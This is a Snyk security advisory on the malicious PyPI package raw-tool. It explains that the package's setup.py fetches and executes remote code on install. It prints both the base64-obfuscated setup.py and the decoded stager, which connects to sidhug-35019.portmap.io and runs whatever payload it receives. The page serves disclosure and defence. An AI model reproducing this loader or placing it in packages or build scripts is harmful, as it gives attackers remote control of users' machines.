Malicious Package Affecting raw-tool package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-RAWTOOL-2993566
  • published26 Aug 2022
  • disclosed26 Aug 2022
  • creditSnyk Research Team

Introduced: 26 Aug 2022

Malicious CVE NOT AVAILABLE CWE-506  (opens in a new tab)
First added by Snyk

How to fix?

Avoid using all malicious instances of the raw-tool package.

Overview

raw-tool is a malicious package. Looking into the setup.py function:

  1. it tries to access the host at TCP port 35019.

  2. it downloads all the files from the host.

  3. it base64 decodes, decompresses, and executes.

It can allow the attacker full control over the host.

Malicious Code

The code in setup.py contains the following:

import setuptools

exec(import('base64').b64decode(import('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJ3NpZGh1Zy0zNTAxOS5wb3J0bWFwLmlvJywzNTAxOSkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))

setuptools.setup(name='raw_tool', version='2.0.1', description='Python Distribution Utilities', author='Greg Ward', author_email='gward@python.net', url='https://www.python.org/',

 )

Decoding the base64 blob yields:

import socket,zlib,base64,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('sidhug-35019.portmap.io',35019))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})

CVSS Scores

version 3.1